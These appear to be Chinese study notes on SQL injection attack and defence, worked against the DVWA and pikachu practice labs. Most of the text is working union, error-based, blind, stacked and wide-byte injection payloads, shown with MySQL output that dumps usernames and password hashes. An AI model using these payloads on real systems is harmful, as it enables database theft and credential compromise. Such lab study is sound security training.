Safe: 05-渗透测试
- TAGS: Safe
SQL 注入漏洞攻防
主要内容:
- SQL 注入攻击原理
- SQL 注入攻击分类及提交方式
- Union 联合注入
- 基于函数报错手工注入(insert update delete)
- http Header 及 cookie 手工注入
- (布尔型、时间型)手工盲注
- 宽字节及二阶注入
- MySQL + PHP 手工获取 webshell 过程
- Cookie 手工实战注入
- Cookie 中转及工具注入
- 伪静态突破
- SQL 注入漏洞修复
- sqlmap 注入神器高级使用
漏洞简介&原理
结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。
SQL注入:
一般指web应用程序对用户输入数据的合法性没有校验或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句结尾添加额外的SQL语句,在系统运维人员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询操作,从而进一步得到相应的数据信息。 简而言之就是,攻击者通过系统正常的输入数据的功能,输入恶意数据,而系统又未作任何的校验,直接信任了用户输入,使得恶意输入改变原本的SQL逻辑或者执行了额外的SQL查询语句,从而造成了SQL注入攻击。
SQL注入需要满足的条件:
- 参数是用户可控的
- 参数要带入数据库进行查询
漏洞危害
危害较高的漏洞,可以获取敏感信息,修改信息,脱库,上传webshell,执行命令。
SQL注入分类
隐式转换 :某个参数的类型是int类型,当给参数赋值时给的是string类型,mysql就会识别string的第一个字符,如果第一个字符是数字就会被转换成int类型,否则转换失败不会向后执行。
mysql> show tables; mysql> desc users; +--------------+-------------+------+-----+-------------------+-----------------------------+ | Field | Type | Null | Key | Default | Extra | +--------------+-------------+------+-----+-------------------+-----------------------------+ | user_id | int(6) | NO | PRI | 0 | | # 虽然 user_id 是整数类型的,但当user_id='1'时mysql可以纠错 select * from users where user_id=1; select * from users where user_id='1'; mysql> select first_name,last_name from users where user_id = '1sffdf'; +------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | +------------+-----------+ 1 row in set, 1 warning (0.00 sec) mysql> select first_name,last_name from users where user_id = '123424'; Empty set (0.00 sec)
数字型
当输入的参数为整数类型时,如果存在注入漏洞,称为数字型注入。
假设的方法不应该存在注入的点,注入测试不应该有值。
测试步骤:
1.加单引号,URL:www.text.com/text.php?id=1' 对应的sql:select * from table where id=1' 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;此时可以判断大概率存在注入,因为只有服务器将这个单引号一起当作SQL语句执行时才会报错,但是并不绝对,也有可能是程序本身的问题引起报错。 2.加and 1=1,URL:www.text.com/text.php?id=1 and 1=1 对应的sql:select * from table where id=1 and 1=1 语句执行正常,与原始页面无任何差异。 3.加and 1=2,URL:www.text.com/text.php?id=1 and 1=2 对应的sql:select * from table where id=1 and 1=2 为了进一步验证存在注入,把and 1=1改成and 1=2,语句可以正常执行,但是无法查询出结果,返回数据与原始网页存在差异。如果本不应该查到信息的查到了消息,可以认为这个点存在隐式转换
如果满足以上三点,则可以判断该URL存在数字型注入。
如果是数字型:输入什么,原封不动的传递到后端
如果是字符型:输入什么,在输入内容的左右两边加上单引号形成字符串传递到后端
Dvwa 的low模式:是数字型注入,按理说前端输入什么,就应该原封不动的传递到后端,但是程序对用户的输入做了处理,把用户输入的左右两边加上了单引号。
字符型
当输入的参数为字符串时,如果存在注入漏洞,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name='admin'
因此,在构造payload时通过闭合单引号可以成功执行语句:
尝试输入: 1' or 1=1 #
练习
在不依赖于DVWA后端数据库的情况,如何通过前端验证的方法判断DVWA中的注入点是数字型注入还是字符型注入?(提示:用假设法进行逻辑判断)
假设输入框的语句是:
select fist_name,surname from xxx where user_id = ?
首先输入框中填写 1' ,'分号主要用来闭合语句用。不管理是数字型还是字符型一定会报错
使用 1 and 1 = 1
- 假设是数字型注入
- 验证了查询语句的逻辑,发现and左右两边都为真,能查询出结构
- 验证了查询语句的逻辑,发现and左右两边都为真,能查询出结构
- 假设是字符型注入
- 不存在隐式转换这一说法,所以输入 1 and 1 = 1 相当于是去数据库中查询user_id的值是 1 and 1 = 1 的这一条数据,但是数据库中又不可能存在id值是 1 and 1 =1 那么一条数据,所以输入 1 and 1=1 会报错。但页面测试通过,假设和实际不符
- 不存在隐式转换这一说法,所以输入 1 and 1 = 1 相当于是去数据库中查询user_id的值是 1 and 1 = 1 的这一条数据,但是数据库中又不可能存在id值是 1 and 1 =1 那么一条数据,所以输入 1 and 1=1 会报错。但页面测试通过,假设和实际不符
使用 1 and 1 = 2
- 假设是数字型注入
- 验证了查询语句的逻辑,发现and左边为真,右边为假,查询不出来结果; 但实际页面上有结果,假设与实际不符
- 程序本身对输入内容做了处理,即隐式转换
- 验证了查询语句的逻辑,发现and左边为真,右边为假,查询不出来结果; 但实际页面上有结果,假设与实际不符
- 假设是字符型注入
- 同理
- 同理
Union注入(联合查询注入)
联合查询是在一条SQL语句中执行多个查询任务,等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用UNION或UNION ALL。
注意:UNION操作符选取不重复的值。如果允许重复的值,请使用 UNION ALL。
mysql> select user_id,first_name from users where user_id=1 union all select user_id,first_name from users where user_id=1; +---------+------------+ | user_id | first_name | +---------+------------+ | 1 | admin | | 1 | admin | +---------+------------+ 2 rows in set (0.01 sec) mysql> select user_id,first_name from users where user_id=1 union select user_id,first_name from users where user_id=1; +---------+------------+ | user_id | first_name | +---------+------------+ | 1 | admin | +---------+------------+ 1 row in set (0.00 sec)
使用Union注入的前提条件:页面上有显示位。
1.通过 order 做字段排序,可以猜解出正确的字段数:
order by n # 通过不断尝试 n 的值直到出错,那么正确字段数就是 n-1
在 dvwa 的 SQL Injection 输入
# 正常。可以以第2列做排序 1' order by 2# # 异常,说明字段数为2 1' order by 3#
这就说明正确的字段数是 2 ,因为当用于排序的字段数大于总字段数时会出错。
2.确定显示位
1' union select 1,2# # 转换到数据库中执行语句是 mysql> select first_name, last_name from users where user_id = '1' union all select 1,2 from users where user_id = 1# '; -> ; +------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | 1 | 2 | +------------+-----------+ 2 rows in set (0.00 sec) mysql> select first_name, last_name from users where user_id = '1' union all select 1,2 # '; -> ; +------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | 1 | 2 | +------------+-----------+ 2 rows in set (0.00 sec) mysql> select 1,2; +---+---+ | 1 | 2 | +---+---+ | 1 | 2 | +---+---+ 1 row in set (0.00 sec) mysql> select 1,2 from users; +---+---+ | 1 | 2 | +---+---+ | 1 | 2 | | 1 | 2 | | 1 | 2 | | 1 | 2 | | 1 | 2 | +---+---+
这里的1和2是无意的,仅用来是否可以显示 。
./images/Snipaste_2023-06-06_00-41-04.pn
爆出数据库名和版本信息
1' union select database(),version()# # 转换到数据库中执行语句是 mysql> select first_name, last_name from users where user_id = '1' union select database(),version() # ' -> ; +------------+---------------------+ | first_name | last_name | +------------+---------------------+ | admin | admin | | dvwa | 5.5.54-0+deb8u1-log | +------------+---------------------+
在讲解如何利用Union注入进一步获取数据库名、表名、字段名以及字段中的数据之前,先介绍一个重要的知识点:MySQL 5.0以上版本,存在一个自带的数据库名为:information_schema(重点)。
information_schema数据库中有三个表非常重要:
- SCHEMATA:表里包含所有数据库的名字
- TABLES:表里包含所有数据库的所有表,默认字段为table_name
- COLUMNS:表里包含所有数据库的所有表的所有字段
三个列非常重要:
- TABLE_SCHEMA:数据库名
- TABLE_NAME:表名
- COLUMN_NAME:字段名
mysql> use information_schema mysql> desc COLUMNS; # 查看所有表的字段 +--------------------------+---------------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +--------------------------+---------------------+------+-----+---------+-------+ | TABLE_SCHEMA | varchar(64) | NO | | | | | TABLE_NAME | varchar(64) | NO | | | | | COLUMN_NAME | varchar(64) | NO | | | | mysql> select table_name from information_schema.tables where table_schema = 'dvwa'; +------------+ | table_name | +------------+ | guestbook | | users | +------------+ mysql> select first_name,last_name from users where user_id ='1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #' -> ; +------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | 1 | guestbook | | 1 | users |
联合注入的过程:
判断注入点 判断是整型还是字符型 判断列数(order by)、显示位(根据页面前端的显示判断) 获取目标数据库名 获取目标数据库的所有表名、字段名、字段中的数据
爆出dvwa数据库中有 guestbook,users 两个表:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema ='dvwa'# 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema ='dvwa ## GROUP_CONCAT()函数将组中的字符串连接成为单个字符串。
范例:解决页面显示位不足问题,利用 group_concat 函数将组中的字符串连接成为单个字符串
mysql> select group_concat(user_id) from users; +-----------------------+ | group_concat(user_id) | +-----------------------+ | 1,2,3,4,5 | +-----------------------+ 1 row in set (0.00 sec) # 找到 dvwa 库所有表名 mysql> select first_name,last_name from users where user_id ='1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #' -> ; +------------+-----------------+ | first_name | last_name | +------------+-----------------+ | admin | admin | | 1 | guestbook,users | +------------+-----------------+
得到users表中的字段名:
1' UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'# # 得到用户名和密码 1' union select user,password from users#
范例:得到users表中的字段名
mysql> select first_name,last_name from users where user_id = '1' UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' #' -> ; +------------+---------------------------------------------------------------------------+ | first_name | last_name | +------------+---------------------------------------------------------------------------+ | admin | admin | | 1 | user_id,first_name,last_name,user,password,avatar,last_login,failed_login | +------------+---------------------------------------------------------------------------+ 2 rows in set (0.00 sec) mysql> select first_name,last_name from users where user_id = '1' union select user,password from users # -> ; +------------+----------------------------------+ | first_name | last_name | +------------+----------------------------------+ | admin | admin | | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | gordonb | e99a18c428cb38d5f260853678922e03 | | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
撞库:拿着这段密文到数据库查有没有。
md5解密:
md5解密在线 https://cmd5.com/
报错注入
报错注入顾名思义主要是利用 数据库报错 来进行判断是否存在注入点,如果不符合数据库语法规则就会产生错误。
常用的特殊字符:
' \ ; %00 ) ( # "
开发人员在开发时有可能会把这些特殊字符过滤掉,所以一般我们用16进制代替
mysql> select hex('~'); +----------+ | hex('~') | +----------+ | 7E | +----------+
在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数,这两个函数常用于报错注入:
extractvalue() updatexml()
原因:当这两个函数在执行时,如果出现XML文档路径错误就会产生报错。
报错注入常用函数:
extractvalue()函数
- 此函数从目标XML中返回包含所查询值的字符串。语法:extractvalue(XML_document,xpath_string)
- 第一个参数:string格式,为XML文档对象的名称
- 第二个参数:xpath_string(xpath格式的字符串) ,为XML文档的路径
- 第一个参数:string格式,为XML文档对象的名称
- extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
select user,password from users where user_id=1 and extractvalue(1,0x7e); select user,password from users where user_id=1 and extractvalue(1,concat(0x7e,(select user()),0x7e));
由于16进制0x7e就是~,~不属于xpath语法格式,因此报出xpath语法错误。
函数使用格式:extractvalue(XML_document,xpath_string),作用是从document中返回包含string的字符串,如果string参数不符合xpath的语法就会报错,将查询的结果放在报错信息里,即extractvalue函数报错时会解析SQL语句。
注入思路:库名 -> 表名 -> 列名 -> 字段内容
# 爆库名 1' and extractvalue(1,concat(0x7e,database()));# # 爆表数 1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database())));# # 爆表名 1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)));# # 爆列名 1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)));# # 得到用户名密码 1' and extractvalue(1,concat(0x7e,(select user from users where user_id=1)));# 1' and extractvalue(1,concat(0x7e,(select password from users where user_id=1)));# # extractvalue函数能查询的最大长度为32,如果超出32位字符,那么就要变动拼接顺序,或者使用substring()函数截取数据 1' and extractvalue('~',concat(0x7e,(select password from users where user_id=1)));# 1' and extractvalue('~',concat((select password from users where user_id=1),0x7e));# #substring 1' and extractvalue('~',concat(0x7e,substring((select password from users where user_id=1),1,31)));# 1' and extractvalue('~',concat(0x7e,substring((select password from users where user_id=1),32,64)));#
注意: `select * from table limit m,n` ,其中 m 是指记录开始,从 0 开始,表示第一条记录; n 是指从第 m+1 条开始,取 n 条。
extractvalue()
updatexml()函数
updatexml()是一个使用不同的XML标记匹配和替换XML块的函数
作用:改变文档中符合条件的节点的值
语法:
updatexml(XML_document,xpath_string,new_value)
第一个参数:是string格式,为XML文档对象的名称
第二个参数:代表路径,xpath格式的字符串例如//title
第三个参数:string格式,替换查找到的符合条件的数据
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
例如: `select * from test where id = 1 and updatexml(1,0x7e,3);` 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
使用格式:updatexml(XML_document,xpath_string,new_value),作用是将document的中符合string的字符串替换为value的值。同上,这里string参数不符合xpath语法也会报错。
# 爆库名 1' and updatexml(0x7e,concat(0x7e,database()),0x7e);# # 获取表数量 1' and updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='dvwa'),0x7e),1);# # 获取第一个表的名字 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1);# # 获取第二个表的名字 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1);#
通过以上方法逐步获取列名和字段内容。
盲注
布尔盲注
只会根据注入信息返回True跟False,没有了之前的查询信息或者报错信息。
- 1.判断是否存在注入,注入的类型
在 dvwa 中 SQL Injection (Blind) 测试
不管输入框输入为何内容,页面上只会返回以下2种情形的提示:
满足查询条件则返回"User ID exists in the database.",不满足查询条件则返回"User ID is MISSING from the database.";两者返回的内容随所构造的真假条件而不同,说明存在SQL盲注。
1. 1 exists 2. ' MISSING 3. 1 and 1 = 1 # exists 4. 1 and 1 = 2 # exists 5. 1' and 1 = 1 # exists 6. 1' and 1 = 2 # MISSING
上面,由语句5和6构造真假条件返回对应不同的结果,可知存在字符型的SQL盲注漏洞。
提问:
分别输入 `1' and 1 = 1 #` 和 `1' and 1 = 2 #`,哪一条语句可以独立证明存在SQL 注入?
答:
- `1' and 1 = 1 #` 。 如果测试点不存在注入,不管输入哪个均报错。
- 如果测试点存在注入,输入 `1' and 1 = 1 #` 不会报错,输入 `1' and 1 = 2 #` 会报错。
- 对于用户来说,输入 `1' and 1 = 2 #`,不管有没有注入始终报错,所以无法独立判断是否存在注入。
- `1' and 1 = 1 #` 。 如果测试点不存在注入,不管输入哪个均报错。
- 2.猜解当前数据库名称
- 二分法思维
1)判断数据库名称的长度(二分法思维)
- length() 判断字符串长度
- 数据库中1为真,0 为假
1' and length(database())>10;# MISSING 1' and length(database())>5;# MISSING 1' and length(database())>3;# exists 1' and length(database())=4;# exists
可判断出当前所连接数据库名称的长度=4
2)判断数据库名称的字符组成元素
在给定的字符串中利用substr()函数,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符,然后逐个击破。
ASCII码对照表: https://toolhelper.cn/Encoding/ASCII
用法:
substr(strings|express,num start,num length); select substr(参数1,参数2,参数3) from 表名 strings|express:被截取的字符串或字符串表达式;start为起始位置;length为长度。
范例:substr
mysql> select substr('dvwa',1,1); +--------------------+ | substr('dvwa',1,1) | +--------------------+ | d | +--------------------+ 1 row in set (0.00 sec) mysql> select substr('dvwa',2,1); +--------------------+ | substr('dvwa',2,1) | +--------------------+ | v | +--------------------+ 1 row in set (0.00 sec) mysql> select substr('dvwa',2,2); +--------------------+ | substr('dvwa',2,2) | +--------------------+ | vw | +--------------------+ 1 row in set (0.00 sec)
最终语句
1' and ascii(substr(database(),1,1))>88;# exists 1' and ascii(substr(database(),1,1))>98;# exists 1' and ascii(substr(database(),1,1))>100;# MISSING 1' and ascii(substr(database(),1,1))=100;# exists
数据库名称的首位字符对应的ASCII码为100,查询是字母 d
类似以上操作,分别猜解第2/3/4位元素的字符:
1' and ascii(substr(database(),2,1))=118;# 第2位字符为 v 1' and ascii(substr(database(),3,1))=119;# 第3位字符为 w 1' and ascii(substr(database(),4,1))=97;# 第4位字符为 a
从而,获取到当前连接数据库的名称为:dvwa
- length() 判断字符串长度
- 二分法思维
- 3.猜解数据库中的表名
1)猜解表的个数
1' and (select count(table_name) from information_schema.tables where table_schema=database())>10;# MISSING 1' and (select count(table_name) from information_schema.tables where table_schema=database())>5;# MISSING 1' and (select count(table_name) from information_schema.tables where table_schema=database())>2;# MISSING 1' and (select count(table_name) from information_schema.tables where table_schema=database())=2;# exists
dvwa数据库中表的个数=2
2)猜解表名
猜解dvwa数据库中第1个表的名称字符长度=9
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) >10;# MISSION 1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) >5;# exist 1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) >8;# exist 1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 9;# exist 也可以写成: 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9;# exists
依次取出dvwa数据库第1个表的第1/2/…/9个字符分别猜解:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88;# exists 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>105;# MISSING 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>96;# exists 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101;# exists 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103;# MISSING 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102;# MISSING 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103;# exists
dvwa数据库第1个表的第1个字符的ASCII码=103,对应的字符为g
依次猜解出其他位置的字符分别为:u、e、s、t、b、o、o、k
从而dvwa数据库第1个表的名称为:guestbook
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>88;#
猜解出dvwa数据库第2个表的名称为:users
- 4.猜解表中的字段名
以[dvwa库-users表]为例:
1)猜解users表中的字段个数
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>10;# MISSING 1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>5;# exists 1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>8;# MISSING 1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8;# exists
dvwa库的users表中有8个字段
2)猜解users表中的各个字段的名称
按照常规流程,从users表的第1个字段开始,对其猜解每一个组成字符,获取到完整的第1个字段名称…然后是第2/3/…/8个字段名称。
当字段数目较多、名称较长的时候,若依然按照以上方式手工猜解,则会耗费比较多的时间。当时间有限的情况下,实际上有的字段可能并不太需要获取,字段的位置也暂且不作太多关注,首先获取几个包含关键信息的字段,如:用户名、密码…
【猜想】数据库中可能保存的字段名称
用户名:username/user_name/uname/u_name/user/name/…
密码:password/pass_word/pwd/pass/…
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1;# MISSING 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user_name')=1;# MISSING 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='uname')=1;# MISSING 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='u_name')=1;# MISSING 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1;# exists # 如果存在猜想的字段,他的数量为1,那么 = 1 时,1 = 1 逻辑比较判断为真,返回的是 1 mysql> select count(*) from information_schema.columns where table_schema = database() and table_name = 'users' and column_name = 'user222'= 1; +----------+ | count(*) | +----------+ | 0 | +----------+ 1 row in set (0.00 sec) mysql> select count(*) from information_schema.columns where table_schema = database() and table_name = 'users' and column_name = 'user'= 1; +----------+ | count(*) | +----------+ | 1 |
users表中存在字段user
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1;# exists
users表中存在字段password
至此,库名(dvwa),表名(guestbook、users),字段名(user、password)都猜出来了。
- 5.获取表中的字段值
1)用户名的字段值
1' and length(substr((select user from users limit 0,1),1))>10;# MISSING 1' and length(substr((select user from users limit 0,1),1))>5;# MISSING 1' and length(substr((select user from users limit 0,1),1))>3;# exists 1' and length(substr((select user from users limit 0,1),1))=4;# MISSING 1' and length(substr((select user from users limit 0,1),1))=5;# exists
user字段中第1个字段值的字符长度=5,再使用ascii码的方式逐个爆破字符,步骤和上面一样,不再演示。
2)密码的字段值
1' and length(substr((select password from users limit 0,1),1))>10;# exists 1' and length(substr((select password from users limit 0,1),1))>20;# exists 1' and length(substr((select password from users limit 0,1),1))>40;# MISSING 1' and length(substr((select password from users limit 0,1),1))>30;# exists 1' and length(substr((select password from users limit 0,1),1))>35;# MISSING 1' and length(substr((select password from users limit 0,1),1))>33;# MISSING 1' and length(substr((select password from users limit 0,1),1))=32;# exists
password字段中第1个字段值的字符长度=32
猜测这么长的密码位数,可能是用来md5的加密方式保存,通过手工猜解每位数要花费的时间更久了
然后继续利用以上方法(ascii + substr)猜出密码就可以了,最终密码为
- 6.验证字段值的有效性
将以上admin–password填写到前台登录界面的两个输入框中,尝试登录是否成功。
时间盲注
界面返回值只有一种 True,无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看WEB页面返回的时间差来判断注入的语句是否正确。
猜解当前连接数据库的名称
对于 if(判断条件,sleep(n),1) 函数而言,若判断条件为真,则执行sleep(n)函数,达到在正常响应时间的基础上再延迟响应时间n秒的效果;若判断条件为假,则返回设置的1,此时不会执行sleep(n)函数。
1' and if(length(database())=4,sleep(5),1);#
以上根据响应时间的差异,可知当前连接数据库名称的字符长度=4,此时确实执行了sleep(5)函数,使得响应时间比正常响应延迟5s
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1);#
当前连接数据库的名称的第1个字符的ASCII码为100,对应字母d。
后续过程与上面的类似,在此略过。
范例:时间盲注
dvwa 靶场
# 判断dvwa库名长度为4时,真,则执行sleep(5) mysql> select first_name,last_name from users where user_id='1' and if(length(database())=4,sleep(5),1);# Empty set (5.00 sec)
总结:盲注需要掌握的几种函数
length() 返回字符串的长度
substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
ascii() 返回字符的ascii码
sleep() 将程序挂起一段时间
堆叠查询注入
堆叠注入,从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行,而在真实的运用中也是这样的。我们知道在 mysql 中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。其原理也很简单,就是将原来的语句构造完后加上分号,代表该语句结束,后面再输入的就是一个全新的sql语句了,这个时候我们使用增删改查毫无限制。
使用条件:
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制,只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行。但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_query()函数,只能执行一条语句,分号后面的内容将不会被执行,所以说堆叠注入的使用条件十分有限,一旦能够被使用,可能对网站造成很大的威胁。
select * from users;show databases; 第一条语句查询表,第二条查询当前数据库名。
至此,对SQL注入分类总结一下:
SQL注入分类总结
提问:SQL 注入有哪些类型?
回答:
从哪些维度去说?
- 根据查询字段:数字型、字符型
- 根据查询方式:Union注入、堆叠注入
- 根据回显:报错、盲注
二次注入
在存入数据库的时候做了过滤,但是取出来的时候没有做过滤,而产生的数据库注入。
①插入恶意数据
在第一次向数据库插入数据的时候,仅仅只是使用了addslashes函数对其中的特殊字符进行了转义,但是addslashes函数有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
②引用恶意数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
二次编码注入(urldecode()与PHP本身处理编码时,两者配合失误,可构造数据消除\)
用户输入【1%2527】=>php自身编码,%25转换成%【1%27】=>php未检查到单引号,不转义【1%27】=>遇到一个函数编码,使代码进行编码转换【1'】=>带入sql语句=>能注入
方法:在注入点后键入%2527,然后按正常的注入流程开始注入
参考: 二次注入
宽字节注入
靶场环境 pikachu 安装
docker pull area39/pikachu docker run -d --name pikachu -p 8083:80 -p 33063:3306 area39/pikachu
点击红色字体进行初始化:
- "提示:欢迎使用,pikachu还没有初始化,点击进行初始化安装!" –> "安装/初始化" –> "点击这里进入首页"
选择”宽字节注入“模块:
- 左边栏 SQL-Injeck 中找到
- 获得测试账号密码,点右上角"点一下提示"
宽字节概念
1.单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)。
2.多字节字符集:在多字节字符集中,一部分字符用多个字节来表示,另一部分(可能没有)用单个字节来表示。
3.宽字节注入时利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字。
宽字节注入原理
为了防止网站被SQL注入,一些网站开发人员会做一些防护措施,其中最常见的就是对一些特殊字符进行转义。
通过前面的学习可以了解到,SQL注入非常关键的一步就是让引号闭合和跳出引号,无法跳出引号,那么输入的内容就永远在引号里,那么输入的东西永远就是字符串,很显然这不符合SQL注入的要求。
网站开发者也想到了这一步,于是做个防护措施:转义,对输入的敏感内容、特殊字符进行转义。
addslashes()函数
1、addslashes() 函数在预定义字符之前添加反斜杠(\)进行转义。 2、预定义字符:单引号('),双引号("),反斜杠(\),NULL
通过前面的SQL注入实验可以发现,字符型的注入点我们都是用单引号来判断的,但是当遇到addslashes()时,单引号会被转义,导致我们用来判断注入点的单引号失效。 所以我们的目的就是使转义符 \ 失效、使单引号逃逸。
1.kobe%df' or 1=1# 2.kobe%df\' or 1=1# kobe%df%5c%27 or 1=1# //前端输入的内容,经过了URL编码 %df%5c = 運 //GBK编码 3.kobe運' or 1=1# select user from users where name='kobe運' or 1=1#' //从单引号中逃逸出来
原理:前端输入的反斜杠(\)经过URL编码后是%5c。在输入%df后,使得添加反斜杠后形成%df%5c, 如果程序数据库使用了GBK编码 ,%df%5c就会被识别成繁体字“連”,单引号成功逃逸,爆出Mysql数据库的错误。整个过程的关键点在于单引号前面的%df,造成宽字节注入使得单引号逃逸成功并闭合语句,才有了后面的操作。
GBK编码表:https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php
使用burpsuite工具拦截数据包发送到Repeater,输入payload `kobe%df' or 1=1#`,可以看到爆出了所有的账户信息
后面的注入过程和前面一样,直接union注入查数据库名、表名、字段名、字段值等等,这里就不再赘述。
- `kobe%df' union select database(),version()#`
范例:宽字节注入
输入 kobe 查询,输出如下:
your uid:3
your email is: [email protected]
# docker exec -it pikachu bash root@6b4d246697c2:/# mysql mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | pikachu | | sys | +--------------------+ 5 rows in set (0.01 sec) mysql> use pikachu Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> show tables; +-------------------+ | Tables_in_pikachu | +-------------------+ | httpinfo | | member | | message | | users | | xssblind | +-------------------+ 5 rows in set (0.00 sec) mysql> select * from member; +----+----------+----------------------------------+------+-------------+-----------------------+-------------------+ | id | username | pw | sex | phonenum | address | email | +----+----------+----------------------------------+------+-------------+-----------------------+-------------------+ | 1 | vince | e10adc3949ba59abbe56e057f20f883e | boy | 18626545453 | chain | [email protected] | | 2 | allen | e10adc3949ba59abbe56e057f20f883e | boy | 13676767767 | nba 76 | [email protected] | | 3 | kobe | e10adc3949ba59abbe56e057f20f883e | boy | 15988767673 | nba lakes | [email protected] | | 4 | grady | e10adc3949ba59abbe56e057f20f883e | boy | 13676765545 | nba hs | [email protected] | | 5 | kevin | e10adc3949ba59abbe56e057f20f883e | boy | 13677676754 | Oklahoma City Thunder | [email protected] | | 6 | lucy | e10adc3949ba59abbe56e057f20f883e | girl | 12345678922 | usa | [email protected] | | 7 | lili | e10adc3949ba59abbe56e057f20f883e | girl | 18656565545 | usa | [email protected] | +----+----------+----------------------------------+------+-------------+-----------------------+-------------------+ 7 rows in set (0.00 sec) # 前端转到后端正常查询语句 mysql> select id,email from member where username = 'kobe'; +----+------------------+ | id | email | +----+------------------+ | 3 | [email protected] | +----+------------------+ 1 row in set (0.00 sec) # 前端让引号失效后,查不到值 mysql> select id,email from member where username = 'kobe\' or 1=1#'; Empty set (0.00 sec) # 通过burp抓包修改请求体 kobe%df' or 1=1# mysql> select id,email from member where username = 'kobe運' or 1=1#'; -> ; +----+-------------------+ | id | email | +----+-------------------+ | 1 | [email protected] | | 2 | [email protected] | | 3 | [email protected] | | 4 | [email protected] | | 5 | [email protected] | | 6 | [email protected] | | 7 | [email protected] | +----+-------------------+ 7 rows in set (0.00 sec) #经过测试只要是能拼成字,使用单引号逃逸就可以注入 #比如前端输入 kobe運' or 1=1# #burp 抓包 name=kobe%E9%81%8B%27+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2 